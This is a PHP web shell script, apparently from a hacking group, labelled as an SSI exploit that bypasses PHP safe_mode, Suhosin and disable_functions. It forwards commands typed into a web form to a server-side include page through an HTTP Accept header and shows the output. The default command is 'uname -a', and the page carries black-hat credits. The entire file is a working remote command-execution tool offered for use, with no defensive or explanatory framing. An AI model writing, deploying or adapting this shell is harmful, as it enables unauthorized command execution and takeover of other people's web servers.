<?php

# URL SSI
$urlPh3 = 'Ph33r.Ph33r';

    function send($urlPh3,$cmd)
    {
        if($curl = curl_init())
        {# bypass 2011
		 # safe_mod & PHPSuHosin & disable_functions
		 # By Ph33r
            curl_setopt($curl,CURLOPT_URL, $urlPh3);
            curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
            curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);

            $headers = array("Accept: ".$cmd);

            curl_setopt($curl,CURLOPT_HTTPHEADER,$headers);
            curl_setopt($curl,CURLOPT_URL,$urlPh3);
            return curl_exec($curl);

        }
        curl_close($curl);
    }
    print '<head>
<title> Ph33r - bypass 2011 SSi </title>
<style type="text/css">
.auto-style1 {
	text-align: center;
}
.auto-style2 {
	text-align: center;
	font-weight: bold;
	font-family: Arial, Helvetica, sans-serif;
}
.auto-style3 {
	text-align: center;
	color: #FF9933;
}
.auto-style4 {
	font-size: xx-small;
	font-weight: bold;
}
a {
	color: #C0C0C0;
}
a:visited {
	color: #C0C0C0;
}
a:active {
	color: #C0C0C0;
}
a:hover {
	color: #C0C0C0;
}
</style>
</head>';
    print'<body style="color: #FF9933; background-color: #666666; ">

<div class="auto-style3">
';
    print '	<span class="auto-style2">SSI exploit - '.$urlPh3.'</span> <br class="auto-style4" /><br />';
	print '</div>';
    print '</div>
<form action="#" method="post">
	<div class="auto-style1">';

    print $_POST['cmd'].': <br />';
    print '<textarea wrap="off" style="width: 697px; height: 293px" name="Ph33r">'. send($urlPh3,$_POST['cmd']) .'</textarea><br />';

    print '<input name="cmd" type="text" value="uname -a"><br />';

    print '<input type="submit" value="Ph33r"><br />';
    print '</div> </form>
 <a href="http://pentest.enkn.net/blog.php"> 
<p class="auto-style1">Ninja-Security team<p></a>
<p class="auto-style1">
<font color="#FF0000"><b>Anti-trust - Ph33r -<font color="#FF0000">Black 
Hat - maz002</font>';
print '<p class="auto-style1">
<font color="#FF0000"><b> welcome-back : sec-r1z.com </font></a> </b>';

?>